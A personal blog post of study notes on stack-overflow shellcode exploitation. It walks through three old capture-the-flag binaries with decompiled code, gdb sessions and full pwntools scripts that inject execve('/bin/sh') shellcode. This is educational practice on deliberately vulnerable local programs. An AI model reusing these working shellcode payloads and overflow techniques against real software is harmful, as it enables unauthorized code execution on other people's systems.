Written by
ZyphenSVC

Share this post!

Tweet

← ../

Learning Bin Exp from Scratch 04

May 31, 20241 min read

Forenote

I'm bored... Might as well become a god of binary exploitation.

This would not be possible if it wasnt for Nightmare by guyinatuxedo. This series is a compilation of my summarized notes and remarks done by me and me alone.

Shellcode Overflows

CSAW 2017 Pilot

$ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffeec031d30
[*]Command:d
[*]There are no commands....
[*]Mission Failed....
sriadityavedantam@ZYPHENPC:/mnt/c/Users/sriad/Downloads$ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffe8fd8f820
[*]Command:d
[*]There are no commands....
[*]Mission Failed....
sriadityavedantam@ZYPHENPC:/mnt/c/Users/sriad/Downloads$

So we are dealing with an ASLR, but let's confirm:

$ checksec pilot
[*] '/mnt/c/Users/sriad/Downloads/pilot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
undefined8 FUN_004009a6(void)

{
  basic_ostream *output;
  basic_ostream<> *this;
  ssize_t sVar1;
  undefined8 uVar2;
  undefined input [32];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  output = std::operator<<((basic_ostream *)std::cout,"[*]Welcome DropShip Pilot...");
  std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
  output = std::operator<<((basic_ostream *)std::cout,"[*]I am your assitant A.I....");
  std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
  output = std::operator<<((basic_ostream *)std::cout,
                           "[*]I will be guiding you through the tutorial....");
  std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
  output = std::operator<<((basic_ostream *)std::cout,
                           "[*]As a first step, lets learn how to land at the designated location... ."
                          );
  std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
  output = std::operator<<((basic_ostream *)std::cout,
                           "[*]Your mission is to lead the dropship to the right location and execut e sequence of instructions to save Marines & Medics..."
                          );
  std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
  output = std::operator<<((basic_ostream *)std::cout,"[*]Good Luck Pilot!....");
  std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
  output = std::operator<<((basic_ostream *)std::cout,"[*]Location:");
  this = (basic_ostream<> *)std::basic_ostream<>::operator<<((basic_ostream<> *)output,input);
  std::basic_ostream<>::operator<<(this,std::endl<>);
  std::operator<<((basic_ostream *)std::cout,"[*]Command:");
  sVar1 = read(0,input,0x40);
  if (sVar1 < 5) {
    output = std::operator<<((basic_ostream *)std::cout,"[*]There are no commands....");
    std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
    output = std::operator<<((basic_ostream *)std::cout,"[*]Mission Failed....");
    std::basic_ostream<>::operator<<((basic_ostream<> *)output,std::endl<>);
    uVar2 = 0xffffffff;
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}

So this time we are dealing with something new as well, a cpp file! I am not the most well-versed in cpp but let's take a look and see what we can gather.

So something that looks interesting is this line sVar1 = read(0,input,0x40); which we are inputting 64 bytes into input, but if we look above, we see that input only has a buffer for 32 bytes. Therefore, we can overflow this.

output = std::operator<<((basic_ostream *)std::cout,"[*]Location:");
  this = (basic_ostream<> *)std::basic_ostream<>::operator<<((basic_ostream<> *)output,input);
  std::basic_ostream<>::operator<<(this,std::endl<>);

Reading the guide, it seems that this prints the start of the stack location which is sensical due to vmmap:

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /mnt/c/Users/sriad/Downloads/pilot
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /mnt/c/Users/sriad/Downloads/pilot
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /mnt/c/Users/sriad/Downloads/pilot
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]
0x00007ffff7a55000 0x00007ffff7a59000 0x0000000000000000 rw-
0x00007ffff7a59000 0x00007ffff7a5c000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7a5c000 0x00007ffff7a73000 0x0000000000003000 r-x /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7a73000 0x00007ffff7a77000 0x000000000001a000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7a77000 0x00007ffff7a78000 0x000000000001d000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7a78000 0x00007ffff7a79000 0x000000000001e000 rw- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7a79000 0x00007ffff7a87000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007ffff7a87000 0x00007ffff7b03000 0x000000000000e000 r-x /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007ffff7b03000 0x00007ffff7b5e000 0x000000000008a000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007ffff7b5e000 0x00007ffff7b5f000 0x00000000000e4000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007ffff7b5f000 0x00007ffff7b60000 0x00000000000e5000 rw- /usr/lib/x86_64-linux-gnu/libm.so.6
0x00007ffff7b60000 0x00007ffff7b88000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7b88000 0x00007ffff7d1d000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7d1d000 0x00007ffff7d75000 0x00000000001bd000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7d75000 0x00007ffff7d76000 0x0000000000215000 --- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7d76000 0x00007ffff7d7a000 0x0000000000215000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7d7a000 0x00007ffff7d7c000 0x0000000000219000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7d7c000 0x00007ffff7d89000 0x0000000000000000 rw-
0x00007ffff7d89000 0x00007ffff7e23000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
0x00007ffff7e23000 0x00007ffff7f34000 0x000000000009a000 r-x /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
0x00007ffff7f34000 0x00007ffff7fa3000 0x00000000001ab000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
0x00007ffff7fa3000 0x00007ffff7fa4000 0x000000000021a000 --- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
0x00007ffff7fa4000 0x00007ffff7faf000 0x000000000021a000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
0x00007ffff7faf000 0x00007ffff7fb2000 0x0000000000225000 rw- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
0x00007ffff7fb2000 0x00007ffff7fb5000 0x0000000000000000 rw-
0x00007ffff7fbb000 0x00007ffff7fbd000 0x0000000000000000 rw-
0x00007ffff7fbd000 0x00007ffff7fc1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc1000 0x00007ffff7fc3000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc5000 0x00007ffff7fef000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fef000 0x00007ffff7ffa000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000037000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000039000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
gef➤  b *0x400ae5
Breakpoint 1 at 0x400ae5
gef➤  r
Starting program: /mnt/c/Users/sriad/Downloads/pilot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7fffffffdf20
[*]Command:hey hey hey hey hey

Breakpoint 1, 0x0000000000400ae5 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x14
$rbx   : 0x0
$rcx   : 0x00007ffff7c747e20x5677fffff0003d48 ("H="?)
$rdx   : 0x40
$rsp   : 0x00007fffffffdf20"hey hey hey hey hey\n"
$rbp   : 0x00007fffffffdf400x0000000000000001
$rsi   : 0x00007fffffffdf20"hey hey hey hey hey\n"
$rdi   : 0x0
$rip   : 0x0000000000400ae5  →   cmp rax, 0x4
$r8    : 0xb
$r9    : 0x00007fffffffdde00x0000000000000000
$r10   : 0x00007ffff7b665e80x000f001200001a64
$r11   : 0x246
$r12   : 0x00007fffffffe0580x00007fffffffe2d4"/mnt/c/Users/sriad/Downloads/pilot"
$r13   : 0x00000000004009a6  →   push rbp
$r14   : 0x0
$r15   : 0x00007ffff7ffd0400x00007ffff7ffe2e00x0000000000000000
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf20+0x0000: "hey hey hey hey hey\n"$rsp, $rsi
0x00007fffffffdf28+0x0008: "hey hey hey\n"
0x00007fffffffdf30+0x0010: 0x000000000a796568 ("hey\n"?)
0x00007fffffffdf38+0x0018: 0x0000000000400850<std::ios_base::Init::~Init()@plt+0> jmp QWORD PTR [rip+0x2017ea]        # 0x602040 <[email protected]>
0x00007fffffffdf40+0x0020: 0x0000000000000001$rbp
0x00007fffffffdf48+0x0028: 0x00007ffff7b89d90<__libc_start_call_main+128> mov edi, eax
0x00007fffffffdf50+0x0030: 0x00000000006021b9  →   add BYTE PTR [rax], al
0x00007fffffffdf58+0x0038: 0x00000000004009a6  →   push rbp
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400ad8                  mov    rsi, rax
     0x400adb                  mov    edi, 0x0
     0x400ae0                  call   0x400820 <read@plt>
●→   0x400ae5                  cmp    rax, 0x4
     0x400ae9                  setle  al
     0x400aec                  test   al, al
     0x400aee                  je     0x400b2f
     0x400af0                  mov    esi, 0x400d90
     0x400af5                  mov    edi, 0x6020a0
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pilot", stopped 0x400ae5 in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400ae5 → cmp rax, 0x4
[#1] 0x7ffff7b89d90 → __libc_start_call_main(main=0x4009a6, argc=0x1, argv=0x7fffffffe058)
[#2] 0x7ffff7b89e40 → __libc_start_main_impl(main=0x4009a6, argc=0x1, argv=0x7fffffffe058, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe048)
[#3] 0x4008d9 → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern hey hey hey hey hey
[+] Searching 'hey' in memory
[+] In '/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2'(0x7ffff7fef000-0x7ffff7ffa000), permission=r--
  0x7ffff7ff4cba - 0x7ffff7ff4cf1"hey are resolved\n  --verify              verify t[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffdf20 - 0x7fffffffdf35"hey hey hey hey hey\n"
  0x7fffffffdf24 - 0x7fffffffdf35"hey hey hey hey\n"
  0x7fffffffdf28 - 0x7fffffffdf35"hey hey hey\n"
  0x7fffffffdf2c - 0x7fffffffdf35"hey hey\n"
  0x7fffffffdf30 - 0x7fffffffdf35"hey\n"
gef➤  i f
Stack level 0, frame at 0x7fffffffdf50:
 rip = 0x400ae5; saved rip = 0x7ffff7b89d90
 called by frame at 0x7fffffffdff0
 Arglist at 0x7fffffffdf18, args:
 Locals at 0x7fffffffdf18, Previous frame's sp is 0x7fffffffdf50
 Saved registers:
  rbp at 0x7fffffffdf40, rip at 0x7fffffffdf48
gef➤

This looks really promising, we have our stack location right there! 0x7fffffffdf20.

>>> 0x7fffffffdf48 - 0x7fffffffdf20 = 40

Hence we found our offset. Now to write the program with the shellcode. After going down the google shellcode lists, I found this shellcode from zerosum.

from pwn import *

target = process("./pilot")


target.recvuntil("Location:")
addr = int(target.recvline()[:-1], 16)

shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"

p = shellcode + b"a"*(40 - len(shellcode)) + p64(addr)

target.send(p)
target.interactive()
$ python ape.py
[+] Starting local process './pilot': pid 31403
/mnt/c/Users/sriad/Downloads/ape.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  target.recvuntil("Location:")
[*] Switching to interactive mode
[*]Command:$ echo helloworld
helloworld
$

TamuCTF 2019 Pwn3

$ ./pwn3
Take this, you might need it on your journey 0xffd0bf8e!
d
$ file pwn3
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
$ checksec pwn3
[*] '/mnt/c/Users/sriad/Downloads/nightmare/modules/06-bof_shellcode/tamu19_pwn3/pwn3'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments
int main(undefined1 param_1)

{
  setvbuf(_stdout,(char *)0x2,0,0);
  echo();
  return 0;
}

Let's check out the echo function:

void echo(void)

{
  char local_12e [294];
  
  printf("Take this, you might need it on your journey %p!\n",local_12e);
  gets(local_12e);
  return;
}
gef➤  b *echo+61
.
.
.
gef➤  search-pattern hi
[+] Searching 'hi' in memory
[+] In '/mnt/c/Users/sriad/Downloads/nightmare/modules/06-bof_shellcode/tamu19_pwn3/pwn3'(0x56555000-0x56556000), permission=r-x
  0x565556b6 - 0x565556e2"his, you might need it on your journey %p!\n"
[+] In '/mnt/c/Users/sriad/Downloads/nightmare/modules/06-bof_shellcode/tamu19_pwn3/pwn3'(0x56556000-0x56557000), permission=r--
  0x565566b6 - 0x565566e2"his, you might need it on your journey %p!\n"
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
  0x565581a0 - 0x565581a4"hi\n"
[+] In '/usr/lib32/libc.so.6'(0xf7d86000-0xf7da6000), permission=r--
  0xf7d882d2 - 0xf7d882d4"hi[...]"
  0xf7d98ea2 - 0xf7d98eb0"hildren_time64"
  0xf7d98fbb - 0xf7d98fc2"hildren"
  0xf7da0396 - 0xf7da039d"hildren"
[+] In '/usr/lib32/libc.so.6'(0xf7da6000-0xf7f24000), permission=r-x
  0xf7e83ae1 - 0xf7e83ae3"hi[...]"
[+] In '/usr/lib32/libc.so.6'(0xf7f24000-0xf7fa9000), permission=r--
  0xf7f32e88 - 0xf7f32e8a"hi[...]"
  0xf7f36f6e - 0xf7f36f70"hi[...]"
  0xf7f37941 - 0xf7f37950"hild has exited"
  0xf7f37952 - 0xf7f37989"hild has terminated abnormally and did not create [...]"
  0xf7f37991 - 0xf7f379c8"hild has terminated abnormally and created a core [...]"
  0xf7f379d0 - 0xf7f379e0"hild has trapped"
  0xf7f379e2 - 0xf7f379f2"hild has stopped"
  0xf7f379fc - 0xf7f37a0e"hild has continued"
  0xf7f3cb89 - 0xf7f3cb8d"hine"
  0xf7f3ed08 - 0xf7f3ed0e"hive.c"
  0xf7f3f38d - 0xf7f3f39b"hild processes"
  0xf7f3f73f - 0xf7f3f759"hine is not on the network"
  0xf7f3fc44 - 0xf7f3fc4f"hild exited"
  0xf7f41818 - 0xf7f41825"his help list"
  0xf7f41901 - 0xf7f4190e"hing detected"
  0xf7f4271d - 0xf7f42754"his is free software; see the source for copying c[...]"
  0xf7f42b4d - 0xf7f42b60"hijklmnopqrstuvwxyz"
  0xf7f42b91 - 0xf7f42ba4"hijklmnopqrstuvwxyz"
  0xf7f42c07 - 0xf7f42c3e"hijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234[...]"
  0xf7f42e31 - 0xf7f42e4e"hing like this should happen""
  0xf7f42e3c - 0xf7f42e4e"his should happen""
  0xf7f431cb - 0xf7f431da"hive_subfreeres"
  0xf7f431f4 - 0xf7f431f8"hive"
  0xf7f43216 - 0xf7f4321a"hive"
  0xf7f44a8a - 0xf7f44a9c"hile consolidating"
  0xf7f44e29 - 0xf7f44e48"hing next->prev_size (unsorted)"
  0xf7f45ab4 - 0xf7f45ac2"hing operator""
  0xf7f4714f - 0xf7f47161"high version = %lu"
  0xf7f473e3 - 0xf7f47400"hile loading shared libraries"
  0xf7f97e10 - 0xf7f97e12"hi[...]"
[+] In '/usr/lib32/ld-linux.so.2'(0xf7fec000-0xf7ffb000), permission=r--
  0xf7fed630 - 0xf7fed649"his help message and exit"
  0xf7fee4bc - 0xf7fee4c2"hine.h"
  0xf7feeb6d - 0xf7feeb71"hine"
  0xf7fef07a - 0xf7fef085"hibit-cache"
  0xf7fef099 - 0xf7fef0a4"hibit-rpath"
  0xf7fef4d8 - 0xf7fef4e6"hild processes"
  0xf7fef850 - 0xf7fef86a"hine is not on the network"
  0xf7ff0788 - 0xf7ff078e"hing\n"
  0xf7ff0d6c - 0xf7ff0d70"his."
  0xf7ff0e9b - 0xf7ff0eb7"hile initializing profiler\n"
  0xf7ff10a3 - 0xf7ff10b4"hine_rel_relative"
  0xf7ff1783 - 0xf7ff17a0"hile loading shared libraries"
  0xf7ff19b1 - 0xf7ff19e8"his is free software; see the source for copying c[...]"
  0xf7ff1bbf - 0xf7ff1bf6"his is like executing that\nfile itself, but alway[...]"
  0xf7ff1d10 - 0xf7ff1d47"hich would be inherited by subprocesses).\n\n  --l[...]"
  0xf7ff1e06 - 0xf7ff1e3d"hibit-cache       Do not use /etc/ld.so.cache\n  -[...]"
  0xf7ff1f7b - 0xf7ff1fb2"hibit-rpath LIST  ignore RUNPATH and RPATH informa[...]"
  0xf7ff2133 - 0xf7ff216a"his help and exit\n  --version             output [...]"
  0xf7ff2183 - 0xf7ff21ba"his program interpreter self-identifies as: /lib/l[...]"
  0xf7ff295f - 0xf7ff297b"hile loading audit modules\n"
[+] In '/usr/lib32/ld-linux.so.2'(0xf7ffb000-0xf7ffd000), permission=r--
  0xf7ffcd98 - 0xf7ffcd9a"hi"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffae52 - 0xffffae89"his, you might need it on your journey 0xffffceae![...]"
  0xffffceae - 0xffffceb0"hi"
gef➤  i f
Stack level 0, frame at 0xffffcfe0:
 eip = 0x565555da in echo; saved eip = 0x5655561a
 called by frame at 0xffffd000
 Arglist at 0xffffcfd8, args:
 Locals at 0xffffcfd8, Previous frame's sp is 0xffffcfe0
 Saved registers:
  ebx at 0xffffcfd4, ebp at 0xffffcfd8, eip at 0xffffcfdc
gef➤
sriadityavedantam@ZYPHENPC:/mnt/c/Users/sriad/Downloads/nightmare/modules/06-bof_shellcode/tamu19_pwn3$ python
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xffffcfdc - 0xffffceae
302

It took a lot of trial and error, but I used this shellcode for my machine.

from pwn import *

target = process("./pwn3")

target.recvuntil(b"Take this, you might need it on your journey ")

addr = int(target.recvline()[:-2],16)

print(addr)

p = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
p += b"a"*(302 - len(p))
p += p32(addr)

target.send(p)
target.interactive()
$ python ape.py
[+] Starting local process './pwn3': pid 10384
4290518750
[*] Switching to interactive mode
$
$
$ w
 14:16:00 up 28 min,  1 user,  load average: 0.00, 0.12, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
sriadity pts/1    -                13:47   28:27   0.01s  0.01s -bash
$
[*] Stopped process './pwn3' (pid 10384)

TUCTF 2018 Shella-easy

$ ./shella-easy
Yeah I''ll have a 0xffbf5e90 with a side of fries thanks
ddddddddddddddddddddddd
$ file shella-easy l
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped
$ checksec shella-easy
[*] '/mnt/c/Users/sriad/Downloads/nightmare/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
undefined4 main(void)

{
  char input [64];
  int key;
  
  setvbuf(_stdout,(char *)0x0,2,0x14);
  setvbuf(_stdin,(char *)0x0,2,0x14);
  key = -0x35014542;
                    /* Location of input */
  printf("Yeah I\'ll have a %p with a side of fries thanks\n",input);
  gets(input);
  if (key != -0x21524111) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  return 0;
}
                             *************************************************************
                             *                           FUNCTION                          
                             *************************************************************
                             undefined4  __cdecl  main (void )
             undefined4        EAX:4          <RETURN>
             undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     08048556 (R)   
             undefined4        Stack[-0xc]:4  key                                     XREF[2]:     0804851b (W) , 
                                                                                                   08048541 (R)   
             undefined1[64]    Stack[-0x4c]   input                                   XREF[2]:     08048522 (*) , 
                                                                                                   08048535 (*)   
                             main                                            XREF[4]:     Entry Point (*) , 
                                                                                          _start:080483f7 (*) , 08048630 , 
                                                                                          080486a0 (*)   
        080484db 55              PUSH       EBP

Offset to key is 0x4c - 0xc = 64.

gef➤  x/s $ebp-0x8
0xffffcfc0:     "\276\272\376", <incomplete sequence \312>

This is the current value of the key.

from pwn import *

target = process("./shella-easy")

target.recvuntil(b"Yeah I'll have a ")

addr = int(target.recvline()[:-30],16)

print(addr)

p = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
p += b"a"*(64 - len(p)) + p32(0xdeadbeef)
print(p)
$ python ape.p
y
[+] Starting local process './shella-easy': pid 20871
268336992
b'1\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@\xcd\x80aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde'
[*] Switching to interactive mode
$
[*] Got EOF while reading in interactive
$

So we now have some shellcode, but it wasn't working when I was inputting into the program. Thus let's input into gdb and see whats happening in memory.

gef➤  x/s $ebp-0x8
0xffffcfc0:     "cd\\x80", 'a' <repeats 36 times>, "\\xef\\xbe\\xad\\xde"

Oh boy. We have the last 2 bytes of the shellcode invading as well as our offset of 'a'. This is not good.

gef➤  ni
0x08048548 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf80"1\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\x[...]"
$ebx   : 0x0804a0000x08049f0c<_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7fad9c00x00000000
$edx   : 0x1
$esp   : 0xffffcf80"1\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\x[...]"
$ebp   : 0xffffcfc80x61616161 ("aaaa"?)
$esi   : 0xffffd0840xffffd1e6"/mnt/c/Users/sriad/Downloads/nightmare/modules/06-[...]"
$edi   : 0xf7ffcb800x00000000
$eip   : 0x08048548<main+109> je 0x8048551 <main+118>
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction OVERFLOW resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf80+0x0000: "1\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\x[...]"$esp
0xffffcf84+0x0004: "0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x[...]"
0xffffcf88+0x0008: "/shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\[...]"
0xffffcf8c+0x000c: "/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@[...]"
0xffffcf90+0x0010: "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@\xcd[...]"
0xffffcf94+0x0014: 0x3365785c
0xffffcf98+0x0018: 0x3938785c
0xffffcf9c+0x001c: 0x3163785c
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048539 <main+94>        call   0x8048390 <gets@plt>
    0x804853e <main+99>        add    esp, 0x4
    0x8048541 <main+102>       cmp    DWORD PTR [ebp-0x8], 0xdeadbeef0x8048548 <main+109>       je     0x8048551 <main+118>      NOT taken [Reason: !(Z)]
    0x804854a <main+111>       push   0x0
    0x804854c <main+113>       call   0x80483a0 <exit@plt>
    0x8048551 <main+118>       mov    eax, 0x0
    0x8048556 <main+123>       mov    ebx, DWORD PTR [ebp-0x4]
    0x8048559 <main+126>       leave
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped 0x8048548 in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048548 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

This confirms it. So something is wrong with our offset.

I switched to shellstorm-827 as stated in the guide which is less bytes, \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80, and when we check the key comparison, we find

gef➤  x/10s $ebp-0x8
0xffffcfc0:     'a' <repeats 27 times>, "\\xef\\xbe\\xad\\xde"
0xffffcfec:     "\204\320\377\377"
0xffffcff1:     "\300\372\367\204\320\377\377\200\313\377\367 \320\377\367H{2\307XqD\214"
0xffffd009:     ""
0xffffd00a:     ""
0xffffd00b:     ""
0xffffd00c:     ""
0xffffd00d:     ""
0xffffd00e:     ""
0xffffd00f:     ""

Which is closer.

$ wc
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      1       1      42

So we have 42 characters. Let's hard code this offset to be perfect. I reduced the buffer down to 14 a's.

from pwn import *

target = process("./shella-easy")
#gdb.attach(target, gdbscript = 'b *0x804853e')

target.recvuntil(b"Yeah I'll have a ")

addr = int(target.recvline()[:-30],16)

print(addr)

p = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p += b"a"*14 + p32(0xdeadbeef)
#print(p)
#print(len(p))
p += b"a"*8
p += p32(addr)

target.send(p)
target.interactive()

See you tomorrow!


Published May 31, 2024, by ZyphenSVC.

If you enjoyed the post, consider sharing it!

Tweet


Copyright © 2024 Sriaditya Vedantam. Site source on GitHub.